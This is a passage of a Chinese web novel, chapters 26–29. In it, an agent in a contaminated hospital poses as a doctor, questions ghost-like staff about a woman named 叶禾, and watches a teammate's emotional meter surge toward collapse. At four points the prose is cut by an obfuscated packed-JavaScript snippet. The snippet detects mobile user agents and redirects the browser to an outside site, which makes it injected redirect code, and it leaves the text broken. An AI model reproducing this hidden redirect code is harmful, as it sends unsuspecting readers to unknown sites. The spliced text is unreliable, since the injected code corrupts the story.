阮砚瞳迅速瞄了一眼值班医生表,只有一个人的名字里带“欢”这个字。她口中的小欢应该叫曲欢,而和曲欢一起值班的医生,叫魏阳阳,大概率就是眼前的这个尸鬼。 “阳阳,找我什么事?”阮砚瞳模拟一个同事的口吻和眼前的这个尸鬼对话。 魏阳阳:“5床和8床的患者需要协助...一个无法自主排便...一个需要协助换药...咱俩一人处理一个...这回让你先选...” “啊?”阮砚瞳是真的听懵了,要她干嘛? 魏阳阳看她一脸懵,着急了起来:“你别装傻...都处理过的...无法自主排便的要去帮忙扣一下屎...” “另一个你知道的啊...上次我换药的时候肛周脓肿破了...脓水和血水喷了我一脸...” 什么玩意?你说什么玩意? 阮砚瞳听完,瞪大了眼睛。她现在心里只剩敬佩,好了不起的职业。 阮砚瞳和魏阳阳静止对视了2秒后,拔腿就跑,她这次一点没犹豫,她哪个也不想选。 魏阳阳也立刻动作,先一步来到门口,用整个身体挡住门,死死地拽住把手,崩溃地朝着阮砚瞳大喊:“你想让我自己一个人处理...?你不能这样...!” 阮砚瞳来到门前想要扳开魏阳阳,打算硬闯出去。但这个尸鬼力大无穷,直接抱住了阮砚瞳,让她动弹不得。 阮砚瞳刚想反击把她打到失去行动力,但想到了进污染区前左思博说的注意项,有点苦恼。 真的不能刺激尸鬼吗? 【系统提示情绪熵值-1%】 要不就先随便选一个吧,刚才说的哪两个号来着,啊对,想起来了。 阮砚瞳:“8床8床,我选8。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246182|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 魏阳阳顿时开心了起来,边把衣架上的白大褂披在阮砚瞳身上,边说:“那我带你去...指导你处理...” 听这说法,曲欢可能只是个刚来的实习生,魏阳阳像是她的前辈,需要带着她干活。 但阮砚瞳慌了。不是吧,她不会真的要去处理这个吧。让她杀人放火她能干,但跟屎尿屁打交道的这个心理准备她还没有啊。 诶?刚才她说哪个床是抠屎,哪个床是换药来着?以防万一,她是不是还是认真选一下比较好? 【系统提示情绪熵值-3%】 阮砚瞳还在犹豫,魏阳阳已经攒着她的手把她拉出了办公室,直奔病房走去。给新人让步到这种程度已经够了,干她们这行的,可从来没得选。 去往病房的路上,她们碰到了几个患者,阮砚瞳看了一眼,患者的肠子弯弯曲曲折叠在肚子上,时不时蠕动着,像一条活着的肉粉色长蛇盘踞在人的身上。 阮砚瞳注意到有些患者肠道的最后那一截有一段有明显的膨胀感。结合刚才魏阳阳说的话,那里面的东西,很可能就是阮砚瞳一会要面对的东西。 阮砚瞳光是想象就有点受不了了,她飞速运转着自己的大脑,思考逃脱的可能性。 走到4楼的中间,阮砚瞳看到一个护士站,她灵机一动,顺势用另一只手扒住护士台,紧急停下来,也带的魏阳阳脚下一个踉跄。 阮砚瞳没管她,假装跟面前的护士攀谈起来。 阮砚瞳:“你找我?” 阮砚瞳希望护士能回她点什么,她就能找借口中途跑掉了。 尸鬼护士听到这句话,抬起头看到穿着白大褂的阮砚瞳。 她迅速像是反应过来了什么,凶巴巴地说:“是啊...你开错医嘱了知不知道...200ml你写成了200袋...赶紧改过来...” 太好了,这也太配合了,看来这护士平时没少因为这事骂医生。 阮砚瞳马上装作抱歉地跟魏阳阳说:“阳阳,急事,我得改一下医嘱。” 魏阳阳无奈地松开抓着她的手,妥协道:“行吧...那我去8床等你...你处理完就过来...” 阮砚瞳笑着冲她说道:“好嘞。” 嘿嘿,鬼才去。阮砚瞳进了护士站,假装改医嘱,然后等魏阳阳彻底消失在视线中,方才起身,观察了一下护士站的环境。 前台摆放着各种资料和报告,有两个护士在这里,都在翻找处理些什么,一个护士忙完,就夹着板子走了出去。 护士站后方有一个门,按阮砚瞳的了解,这里面应该是休息室,或者材料室之类的。她刚想进去看看,门就从里面被人打开,一个大概四五十岁的护士从里面走出来。 她来到阮砚瞳的身边,翻找台子上的报告。 阮砚瞳瞄了一眼她身上的名牌。护士长董琰 护士长的话,应该有很多年的经验了吧。或许这个人是个突破口。 阮砚瞳想了想,但实在想不出什么循序渐进的询问方式,还是单刀直入地问董琰。 “你知道叶禾吗?” 董琰动作明显地一顿,转过头望向阮砚瞳,神色复杂。 阮砚瞳看她的状态,觉得有情况。 半晌,董琰扭过头去,继续翻找报告,淡漠地说了声:“不认识...” 这个回复让阮砚瞳更加肯定了,董琰绝对知道些什么。她刚想继续追问,董琰找到一份文件,直起身,对阮砚瞳说道。 “走吧...杨医生...13床的病患家属找您...” 27.仁心医院(5) 跟着护士长去往病房的路上,阮砚瞳理了一遍思路。 大概率有人曾经问过她这个问题,看董琰之后的反应,提问的人应该就是那位杨医生,姓名未知。 如果当初叶禾进了仁心医院住院治疗,那除了她的主治医生外,应该还有至少一个护士是知情的。 那个时候叶禾还没有整容,当时的事件又如此轰动,如果不是刻意想瞒,是瞒不住的。 但不管董琰究竟知道些什么,如果想进一步询问叶禾的事,可能都要先配合她把现在要做的事情走一遍。 不过经历了刚才办公室那一遭之后,阮砚瞳倒是没觉得有多为难,跟病人家属谈话总比跟粪便打交道好点吧。 董琰走的这条路跟魏阳阳去往的不是一个方向,仁心医院单层的占地面积很大,一层包含了不只一个科室的病房。 她们到达病房门口的时候,两个患者家属已经等在那了,看到她们来,迎着和她打招呼:“杨医生...” 阮砚瞳进入角色状态,回忆着刚才许医生的状态,和家属点了点头。 董琰:“家属商量好了吗...下一步的治疗方案...” 家属面露难色,询问阮砚瞳:“杨医生...您说的...保守治疗或者手术...到底应该选哪个啊...” 原来他们在纠结的是治疗方式。 阮砚瞳:“两种方式有利有弊...需要你们综合一下自身的实际情况判断...” 电视剧还是没白看,阮砚瞳在剧里见过这一幕,像模像样的回答。 家属依然很为难:“但是...总有相对来说更好的一种吧...我们要怎么决定...” 阮砚瞳:“我只能给治疗方案和情况说明,选哪种还是要由你们决定。” 家属听了这些话,再也控制不住情绪,激动起来:“你是医生...你是专业的...为什么不能给一个明确的答案...” “我们普通老百姓能懂什么...就是因为不知道才来医院的啊...” 阮砚瞳面对家属突如其来的的质问,犹疑了一下。 说的好像也没错。 但我应该给选择吗? 【系统提示情绪熵值-2%】 家属越说越激动,用手指着阮砚瞳,话语也逐渐变为了攻击。 “你就是不想负责...你怕选错了没治好...所以要我们自己来承担风险...” “你到底有没有医德...” 阮砚瞳不知所措地站在那,觉得很无助。这个世界上,并不是所有人都能理解别人,但她这一刻能够理解杨医生面对这类事情的无奈。 她甚至也能理解家属的心情。 最后是董琰拦住了家属。 “家属如果还没想好的话就再想一下吧...可以多找几个医生咨询...但最终还是要你们自己决定...医生还有别的事情...先不打扰了...” 说完,董琰拉着阮砚瞳离开了。对方已经没什么理智可言了,趁早离开最安全。 解决完这个事情,阮砚瞳开始琢磨怎么能跟董琰问出叶禾的事情来。 杨医生当时会说什么,以什么方式询问她呢?要猜中他们之前大致的对话内容,才能顺着问出来,不然尸鬼是不会回应的。 以刚才董琰对杨医生的态度来看,他俩应该关系还行,至少不是相看两厌的状态。 试探八卦? 阮砚瞳清了清嗓子,装作不经意的开始询问。 “诶?叶禾是不是没死啊?你是不是知道点啥?” 董琰继续走路。 撒娇卖萌? 阮砚瞳:“你告诉我呗,求求了。” 董琰理都没理。 阮砚瞳重新思索了一会儿。 还有一种可能。 阮砚瞳停下脚步,沉下声音,对着董琰向前走的背影缓缓开口。 “叶禾的事我们已经知道了。” “同事一场,你最好现在说。如果别人来问,就不会是我这个态度了。” “你或许无所谓,但你家里人...” 董琰停住脚步,回过头,瞪着阮砚瞳。眼里满是愤怒和恐慌。 看来这次中了。 是威胁。 董琰的反应,让阮砚瞳心如坠石。 事情比想象的可能还要复杂,看来早就有人在追叶禾的线索。局里还是晚了一步。 董琰走近阮砚瞳,压低声音,怒不可遏地对她说:“杨宁...你到底在给谁做事...” 杨宁。阮砚瞳在心里默默记住这个名字,然后继续追问。 “所以可以说说了吗,叶禾的事?” 董琰不置可否。 阮砚瞳盯着董琰:“我要信息。” 董琰沉默里片刻。然后神情复杂地对她说:“杨宁...你和我...最好走的都是正路...” 然后她妥协,说出三个数字。 “703” --- 阮砚瞳边往7楼爬,边打开频道。 姜岑已经把密码发在群里了,但她现在没空找个电脑去搜查。703听上去应该是间病房,可能是叶禾曾经住过的,她现在要去看看那儿有什么东西。 阮砚瞳把刚才得到的所有信息同步到频道中。 林安时:收到。你先去看一下,我在排查其他事情。 姜岑:那我去找个电脑查一下。 阮砚瞳检查了下自己的情绪熵值,70%。掉了蛮多的。 她又看一眼其他人的,林安时86%,姜岑84%,朱淮也92%。 朱淮也的天赋确实好用,正常人如果进这个污染区是这个数值的话,要怀疑他是块木头了。 阮砚瞳又关注了一下唐筝的。76%。 也没比她高多少,看来再强的新人也都需要历练。 阮砚瞳检查完情绪值,把身上的白大褂脱下来收进包里。她发现医生也挺不容易的,不比患者面对的纠结少,还是先收起来,需要的时候再用吧。 阮砚瞳上到7楼后,片刻没停,直奔703。她的时间和情绪值都不够她再关注别的事的。 她推开703的门。这是一间双人间病房,条件比楼下的4-6人间好一点,没有那么局促,也更安静。 现在两张床位上都有患者,左边的1床上躺着的是一个年轻的男性患者,外露的器官在上半身中部,左右一对,应该是肾脏。 右边的2床是一位上了年纪的女性,她的病变器官很明显,是心脏。 阮砚瞳先去男患者的那边翻了翻,这个病人在睡觉,旁边也没家属,无人打扰她。她把床边床下柜子墙面都检查了个遍,但都是这个患者自己的东西,没什么多余的。 阮砚瞳有一无所获的心理准备,事情已经过去十多年了,很难留下之前一个人的什么痕迹,而且董琰能轻易说出这个房间号,估计也是因为她觉得没有什么信息可找了。 除非是在墙上或者什么地方做了什么不可磨灭的记号,但她没有找到。 应该让乔时与一起来的,她的天赋说不定能得出点什么信息。阮砚瞳开始想念她的朋友。 或者把这儿的污染物杀了,等安全了让她再进来一趟也行。 阮砚瞳站在1床的帘子旁,用脑控拍了几张照片,方便后续的调查用。然后她听到了帘子后面有小声说话的声音。 她绕过帘子。帘子的背后是窗台,窗台边站着两个女人,这间病房挺大,从帘子到窗台还有一段距离,所以在1床的位置并不能听清她们在说什么。 她们说什么阮砚瞳倒是不太想知道,跟叶禾也不可能有什么关系,但窗台上挂着的一个物件吸引了她的注意。 是一个风铃,用枝条编织的,下面挂着一个铃铛。不是很精美,看上去像是手工做的。 现在没有风,它就静静地悬在正在对话的两人头顶。 阮砚瞳起了兴趣,走近它。 任务之前,钟烛把叶禾的资料发给到她们,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292402|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些基本信息,还有一些席溪补充进去的性格爱好。 阮砚瞳清楚地记得叶禾的爱好之一是做手工。当时看到这条的时候,她还觉得蛮有意思的,一个心灵手巧的污染物杀手。 会这么巧吗?这东西是叶禾留下的? 阮砚瞳心里有点怀疑,如果真的是叶禾的东西,过了十年还在这里的可能性有多大,而且有人追这条线追的这么紧,即使真的有什么东西,也早就被收走了吧。 不过她实在不能忽视掉这个东西,想要拿下来看看。 但在窗边谈话的这两个人就有点碍事了,拿到风铃就要越过这两个人。她们怎么还没聊完。 年长的女性无奈地对年轻的女孩说:“唉...你看他这个样子...恐怕这病要跟他一辈子啊...” “还好你们还没结婚...不然要拖死你的啊...” 她伸手摸了摸女孩的脸,心疼地说:“赶快想清楚...尽早离开吧...他如果真的爱你...肯定也会放你走的...” 年轻的女孩流着泪,小声地抽泣。 “他也这么说过...” “但他这么困难的时候...我这样离开...我真的...” 她把手捂住嘴,低下头,努力克制着自己。 “妈...我很爱他...真的很爱...” 母亲看着泪流不止的女儿,叹了口气,摇摇头离开了。 阮砚瞳找到了空档,伸手去拿下风铃。 一双手抓紧了阮砚瞳的手臂。 阮砚瞳实在是不想跟她搭上话,但女孩已经开口了。 “我真的...要抛弃他吗...” 女孩还在抽泣,但抬起了头,用泛着泪花的眼睛看着阮砚瞳。 能不能别问我啊。阮砚瞳在心里直叫苦。 【系统提示情绪熵值-2%】 她现在情绪值不高,更容易受污染区影响,她现在觉得什么事都挺难办。而且这个是真的挺难办的。 那些爱情誓言,无论贫穷或富有,健康或疾病...都会不离不弃。人们总是回答的兴奋又轻松。 直到幻想中幸福的白色婚纱,变为医院里冰冷的白色床单,誓言的分量才开始逐渐清晰起来。 但是 你的爱很重要,你的未来也很重要。你爱的人很重要,你自己也很重要。 爱能战胜这一切吗,她不清楚,也回答不上来。 阮砚瞳摇了摇手中的风铃,风铃发出清脆的声响。 好像有地方婚礼上的习俗,会用铃铛吓退恶魔,祝福新人感情和睦。 阮砚瞳问她:“这是你的吗?” 女孩只是哭泣,没有别的反应。 看来不是。 女孩抓着她的手并不紧,阮砚瞳挪开她的手,走向2床的病人。 有一个女生坐在年长女人的病床前,她们看上去也是一对母女,但年纪要比刚才的那对更年长一些。 阮砚瞳拿着手上的风铃向她们询问:“这是你们的吗?” 病床上的病人没有反应,但陪护的女生在小声的说些什么。 “我要...” 阮砚瞳没听清她后面说了什么,凑过头去。“什么?” 女生抓住阮砚瞳的衣领,重复了一遍:“我要辞职照顾妈妈吗...” 又来。 阮砚瞳想挣开,但她像抓住救命稻草一样紧紧抓着她。 “求求你...给我点意见吧...” 阮砚瞳一边挣脱,一边尝试给她建议:“你可以请护工。” “但她随时都可能走...” “我随时可能...再也看不到她...” 女生喃喃自语。 “我辞职...还能和她多相处一段时间不是么...” “值得为了工作...放弃最后的这段日子吗...” “可是之后呢...之后怎么办...” 【系统提示情绪熵值-2%】 28.仁心医院(6) 阮砚瞳的脑控不断弹出频道内的消息。 姜岑:刚才查了一遍系统,没找到叶禾这个名字。 姜岑:但我查了那个时间段的重症监护室,其他都是满的,但1113一直空着,感觉是被刻意抹去了。 姜岑:肯定有问题。我在往那边赶。 林安时:我这边排完了,信息指向11楼。而且我怀疑污染物也在那边。 林安时:一会儿11楼重症监护区见。 林安时艾特了阮砚瞳。 林安时:尽快集合,你情绪值有点低了。 阮砚瞳这次倒是没有一直连着掉,但隔一会掉一下,隔一会掉一下,也禁不住这么消耗的,现在已经掉到66%了。 阮砚瞳脑子涨涨的。她现在精神状态不是很好,赶紧把这些事处理掉吧。 眼前的女孩还在等待她做选择。“我要怎么选...应该辞职吗...” 阮砚瞳无奈地说:“辞吧,辞吧,辞吧。” 以后的事以后再说,先做你觉得重要的事吧。 女孩得到答案,松开抓着阮砚瞳的手,转过头怔怔地看着病床上的母亲。 阮砚瞳握紧风铃,离开了703。 --- 11楼重症监护室门口,阮砚瞳推门而进。 正常情况下,监护室最外面的大门是锁着的,为防止细菌感染,保证重症病人安静的休养环境,大部分时间禁止家属探视。 但可能谁把锁的权限开了,现在这里畅通无阻。 从大门进入,走廊两边是两排对着的病房。这个重症监护室的条件比较好,每间都是单独的房间。 房间面向走廊的这一侧有面很大的透明玻璃窗,里面的病患的床铺正对着玻璃窗,这样从外面就能够清晰地看见里面病患的情况,和仪器上的各种指标。 阮砚瞳先看到了姜岑,她在这条走廊中后的位置,双手交叉在胸前,靠着另一侧病房的玻璃看着对面。 她对面站着几个人...和尸鬼。 整个走廊只有这一间病房在进行家属探视,两个穿着蓝色探视服的家属和一个医生站在走廊里望着病房里面。 林安时站在他们旁边,朱淮也也在,叶禾的事他没参与,但他找污染物找到了这儿。 阮砚瞳走上前去打听:“什么情况?” 没等林安时和朱淮也开口,一旁穿探视服的男性尸鬼先说话了。 “妹妹啊...你看看咱爸现在...太痛苦了...” 阮砚瞳顺着他的目光看过去,病床上一个老年男性患者插着管子,身上连着各种仪器。他的脑花暴露出来,顶在头上,大块深色的阴影显而易见。 这是个仅能靠机器维持的生命。 病房内还站着一个女性,空洞地望着患者。 尸鬼艰难地对阮砚瞳说:“真的有必要吗...” 一旁的医生听了之后,开口说道。 “如果签字拔管的话...按您父亲的状态...应该几个小时就会结束...” “家属决定...要不要放弃...” 【系统提示情绪熵值-2%】 尸鬼听了后,再也绷不住,一个男人在众人面前失声痛哭。 “要我怎么做这个决定啊...” “这不是让我...杀死我爸吗...” “别人会怎么看我...为了省下这个钱不救老爸吗...” 医生:“家属...话不能这么说...这是没办法的事情...对很多人来说...这么活着也是痛苦...” “这个决定很难做...但您还是要综合实际情况好好考虑一下...” 男人缓了缓,问身边站着的另一个男子:“你们什么想法...” 那人满脸的为难,最终推拖回去:“你是大哥...听你的...” 在这边没有得到明确的答复,男人又转过头,满脸期望地看着阮砚瞳:“小妹...现在这种情况...你觉得怎么好...” 【系统提示情绪熵值-2%】 朱淮也看着阮砚瞳接连下降的情绪值,在她面前打了个响指。 阮砚瞳眨了一下眼。 平静。 万籁俱寂。 离开任何的想法和感受。 这些是阮砚瞳对那几秒的感受。 进污染区前她还没有如此具体的感受,在被情绪困扰的强烈的对比下,她才理解了朱淮也这个天赋的效果。 她的情绪值瞬间停止了下跌。 太好用了,又好用又靠谱。她可以为了刚才那几秒收回之前对这个人的差评。 “谢谢。”阮砚瞳缓过神来,礼貌地跟朱淮也道谢。 朱淮也扬了下头:“客气。” 没等阮砚瞳问,朱淮也开始向她和林安时解释情况。 “我刚才套过几轮的话了,情况差不多摸清了。” “刚才说话的男尸鬼叫宋明,里面那个病患是他父亲,旁边那个女性是他的妻子,病患的儿媳妇,杜平心。” “他父亲脑梗,现在就靠机器吊着命,事发突然,家属还没做好心里准备。” “宋明家仨孩子,他是老大。他旁边那个弟弟抱怨,平时宋明和杜平心很少来看他爸。但我总感觉他弟对他爸的情况也不是很了解,回答的东西都很模糊。” 所以现在这个会被人认为不够孝顺的大哥,需要在这个时刻决定父亲的生死了。 床上的病患似乎是半昏迷半清醒的状态,阮砚瞳眯了眯眼睛,她觉得他嘴里好像在念叨什么。 有朱淮也在,她也没有那么担心情绪控不住了。阮砚瞳走近了患者,仔细辨认他的嘴形。 我...想...活... 他很痛苦,但想活下去。 外面的孩子沉浸在自己纠结的崩溃里,并没有注意到患者这边的情况。 现在在他身边的,只有这个没有血缘关系的儿媳。杜平心却像是失了魂一样,呆滞地望向病患。 她没有面对选择,但在面对生命流逝的无能为力。 阮砚瞳退出病房。 朱淮也指了指宋明,说出自己的结论。“我找下来觉得这个最像污染宿主。” 林安时点点头,问姜岑和阮砚瞳:“你们那边有找到更像的吗?” 姜岑摇摇头。她是真不爱跟人打交道,全程在找资料。 阮砚瞳回忆了一下。她觉得这医院里所有人都像宿主,都挺崩溃的。但比较来看的话,确实可能这个场面更能刺激到那个极限值。 决定至亲之人的生死。 这个选择一旦决定后,你会直接面对他的死亡,就像是你开口杀死了这个人一样。即便你知道,这可能是最好的选择,但也会背上这个道德负担。 而且是在突如其来,没有任何心理准备的情况下。这可能就是最困难的一个决定。 阮砚瞳回复:“好像没有比这个像的。” 姜岑看着这一家子,没有思路。“这要怎么解附着链啊,我替他把管拔了?” 林安时:“倒也是个办法。” 朱淮也漫不经心地问:“队长,接下来怎么安排。” 林安时思考了一下。 叶禾的事还没明了,她这边找到了些线索,需要进一步查一下。所以还是尽量拖一下为好。 林安时:“你跟姜岑守在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但她们正要出去时,一个年龄在三十多岁的护士进来了,给患者换完药之后,准备离开。 林安时和阮砚瞳对视了一眼,跟了上去。 叶禾住在病房,就一定会有看护她的护士,这个突破口是最快的。 离开重症监护室,林安时把护士拽过来,看到她名牌上的名字。 张依 林安时开口询问:“叶禾的情况怎么样。” 护士略微有些疑惑地看着她,似乎在搜索对照什么。 阮砚瞳突然想到了什么,从包里把白大褂拿出来给林安时穿上。 林安时再次询问:“叶禾的情况怎么样。” 护士开口:“脱离危险了...过几天可以转普通病房...” 阮砚瞳心里在放烟花,好幸运,被她们碰到了。 林安时继续试探:“叶禾的报告在哪里?” 护士不回复。 换一个。 阮砚瞳想起刚才和护士长董琰的对话,不放心地问了一句。“杨宁医生找你有什么事?” 护士没有反应。 虽然不能靠这句话就确定杨宁有没有查到这里,但没消息也算好消息。 林安时再次开口:“叶禾的事情,你不要跟别人说。” 护士似乎觉得有些为难,小心翼翼地说:“邵医生,我们做的事情,是对的吗?” 怎么又是一个问句,阮砚瞳听的头都大了。 还好她不太明白她在说什么,也没法共情这个邵医生。 对啊,邵医生是谁? 29.仁心医院(7) 又接着问了几个问题,阮砚瞳和林安时就离开了。 护士不像是跟叶禾很熟的人,更像是受人之托,帮忙照顾和隐瞒。她对叶禾的去处和人造海事件的情况一无所知。 得到最有用的信息,是那个邵医生。 邵医生像是叶禾的主治医生,也是安排叶禾入院后一切的人。这个人跟叶禾的牵绊应该是最多的。 正琢磨着,阮砚瞳收到林安时在脑控里发给她的一张图片,图片里是一个叫邵晴医生的信息资料。 邵晴,主任医师,创伤外科专家,从医20余年,擅长胸腹部严重创伤急救手术、危重病人急救与复苏。 信息很简洁,但林安时是怎么能立刻搞到的,也太神通广大了。 林安时:“我刚才在外科病房的办公室,筛过一遍仁心医院十年前在职的医生名单,有资质的,能办到这个事的医生,我都照下来了。” “姓邵的就这么一个,应该就是她。” “我还去了门诊中心一趟,排除了一些,但在那没找到邵晴这个人。好像很多医生出诊之外的时间基本都在住院部,做手术或者查房。” 林安时指了指重症监护室旁边的房间,门牌上写着医生休息室。 “如果她经常救治危重症患者的话,我们去那儿找找看吧。” 阮砚瞳点头。原来刚才她顺着病患和护士摸线索的时候,林安时去筛了医生。 “哦,对了。” 阮砚瞳拿出刚才在703找到的风铃,递给林安时。“这是我在频道里说的那个风铃。但我不确定是不是真的跟叶禾相关。” 林安时接过风铃,翻转着看了看。 阮砚瞳定睛看着风铃,突然按住林安时的手,指尖在风铃身上画了画。问林安时:“你看这个像不像一片叶子?” 林安时仔细看了看,皱皱眉。“没有吧。” 阮砚瞳眨了眨眼睛。好吧,再一看确实也没那么像。她悻悻地收回手。 林安时把风铃还给阮砚瞳。“你先收着,回去给调查部。” “好。”阮砚瞳把背包掉过来,拉开拉链,将风铃放进去。 林安时这才看到阮砚瞳背的一兜子武器,觉得好笑,便调侃了她一句。“背了这么多家伙事儿,怎么情绪还掉那么多啊。” 阮砚瞳委屈:“我看谁都像污染,还愤怒不起来,也不敢惹他们。” 林安时笑着摇摇头。小可怜。 林安时:“清醒一点,别被污染物带进去了,不行就叫朱淮也。” 阮砚瞳点头。跟在林安时后面进了休息室。 休息室不算大,中间一张桌子,拐角的两面墙靠着两排储物柜,另一边摆着三组上下铺的床。 每个储物柜的上方都有一个小标签,写着所属医生的姓名。她们一个个找过去。 邵晴 找到了。 林安时拉开柜门,里面整齐摆放着邵晴的物品。东西不少,书本、衣物、日常用品、杂物,还有一些吃的和维生素片之类的。 医生忙起来,医院就相当于家了,平时用得到的都在这备全了。 储物柜不宽,面前只站的下一个人,林安时把所有的书都搬出来放到桌子上,拍了拍最上面的书封,对阮砚瞳说:“刚毕业应该还看得进去书吧。这些交给你了。”然后便转头去翻柜子里的其他东西。 阮砚瞳走到书桌前,看着散在桌面上的一堆书。大部分还是医学专业书籍,剩下的是几本小说,还有几个笔记本。 几本专业书的侧面已经发黄,纸页边缘泛起毛边,看来已经被书的主人翻阅过很多次了。书里的内容阮砚瞳完全看不懂,但几乎每一页都能看到邵晴在某些段落旁的仔细标注。 阮砚瞳快速翻了几本专业书,没找到专业知识外的标注。她又拿起一本小说。 不愧是医生,读的小说封面上都有一个药剂瓶,上面还落了一只蓝色的蝴蝶。 阮砚瞳觉得落在瓶子上的蓝色蝴蝶像是活的一样,扇了两下翅膀。 邵晴虽然在专业书上标记的很仔细,但在小说里一笔未落。几本小说都完好地保存着,里面没有邵晴自己的痕迹。 阮砚瞳挑出那几本笔记本,连翻了两本,都是专业笔记。 就在她不抱希望地打开下一本时,扉页上的手写标题让她坐直了。 从医日记 阮砚瞳翻开笔记本,仔细阅读。 危机29年3月1日 “第一次来医院上班,很紧张。见到了真实的患者,实践和理论还是差很多,还要多学习。” 危机29年3月2日 “收治了一个车祸病人。收治时的情况是...” 后面是病例分析,详细记录了病患的情况。阮砚瞳跳了过去,翻到了下一页。 危机29年3月3日 “凌晨4点,在医院工作的第3天,患者抢救未果,离世。” 阮砚瞳的手指顿住了几秒,然后继续翻页。 下一页是新接收的患者,和新的病例分析。 能看出邵晴是位非常认真负责的医生,从业日记中记录着她每一天接触的病例、患者情况,还有一些工作反思。 严格来说,这更像是本工作日报,但里面也浸染着一些情感,病患好转的开心,当然,也有不可避免的悲伤。 “又一位患者离世了。” 接下来的几天,邵晴迅速调整过来。 “诊室又收治了一位患者,小姑娘很可爱,还送给我糖吃。” 这页开始,一连一个月,邵晴把每一页都写的很满。治疗方案的分析、病情的好转、她和患者的互动。 但阮砚瞳突然有些不敢往下翻看,她把呼吸都放的轻了些。 她手指小心地翻动笔记,但最终还是来到了那一页。 那天只写了一句话 危机29年6月7日 “该患者因为资金原因,放弃治疗。” 阮砚瞳的心跟着沉下去。 邵晴还是照常记录着工作,但隔了几天的记录末尾,她写下几句话。阮砚瞳摸了摸,那个地方纸脆脆的,字迹也有些模糊,或是被泪水浸湿过。 “选择这份职业的时候,我希望更多的人能活下去,因为我讨厌死亡。” “但我见到了比之前更多的死亡。” “各种原因的死亡。” “那我的初衷还有意义吗?” 拿着笔写下这句话的那双手,可能白天还拿着手术刀不服输地与死神对峙,但夜晚在空无一人的黑暗中,只能无力的向自己叩问。 阮砚瞳看着自己搭在笔记本上的手,突然觉得写下字的那双手,就是自己的手。 还有意义吗? 【系统提示情绪熵值-3%】 情绪又掉了,阮砚瞳不敢再一一细看,直接往后翻找叶禾入院期间的日记。但她翻的时候注意到,后面的字越来越少了,日期也不再连贯,经常间隔几个月之久。 阮砚瞳翻到危机31年7月5日。 这是人造海事件发生的那天 “心疼。希望她能好起来。” 说的应该就是叶禾。 阮砚瞳往后翻,页面一片空白。 嗯?没有了?怎么卡在这儿啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370644|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她仔细检查了书缝,还有后面页面的痕迹。通通都很干净,后面的纸张没有被撕去。只是邵晴没有再记录。 阮砚瞳无语地把笔记本往前一推。好嘛,又白干。 这时,她耳边传来嘶嘶的声响。任务频道的语音被打开了。 左思博:“加快速度。再拖下去太危险了。” 那边的背景音很嘈杂,好像还参着谁的喊叫。 出啥事了?阮砚瞳打开全队的情绪值监控面板。飞鹰队全队的情绪值都下降了,郝文宇最夸张,掉到了53%。 阮砚瞳自己倒是也没好到哪去,掉到了59% 她现在脑子是有点懵,当时老师说的低于60%的话会... 等等。 阮砚瞳的思绪停住,心剧烈地跳动起来,呼吸也跟着加快。她的眼神露出惊慌,直勾勾地盯着一个人的数据。 情绪监控面板上,林安时的情绪值在飙升。 110%...120%...130%...140%... 比情绪值下降更危险的,是情绪过高引发的崩溃失控。人类情绪熵值一旦超过180%,就会被污染寄生。 林安时本身就是能力很强的天赋者,如果被寄生,污染将非常强大。 在这个污染物已经很棘手的情况下,如果再爆发一个超级污染,无疑是雪上加霜。 阮砚瞳迅速转过身。 林安时背对她,面向储物柜,手里拿着什么东西。 阮砚瞳看到林安时浑身在颤抖。 她是找到了什么吗?什么东西能让她瞬间情绪崩溃? 不过已经没有时间给阮砚瞳想明白这些问题了。 150%...林安时的情绪值还在上升。 阮砚瞳想喊她,但声道像是被什么堵住了一样,发不出半点声响。监控面板上的数字跳动的比她心脏还要快。 一切都太突然,她毫无准备。 她应该喊她吗,喊她就能停止崩溃吗,还有,她面对林安时的脸还能保持理智的判断吗? 【系统提示情绪熵值-3%】 污染区第五原则:情绪熵值达到180%的人类,一旦发现,立刻斩杀,包括队友,包括自己。 “能做到吗,一旦符合准则第五条,能立刻杀掉我吗。” 阮砚瞳还记得第一天入职的时候,林安时问她。林安时说这话时笑意盈盈。 “如果真到这一步,选择立刻斩杀,对谁都是最好的选择。明白了吗?” 160%...数值的上升没有停止。 【系统提示情绪熵值-5%】 阮砚瞳的眼泪控制不住地往下流。 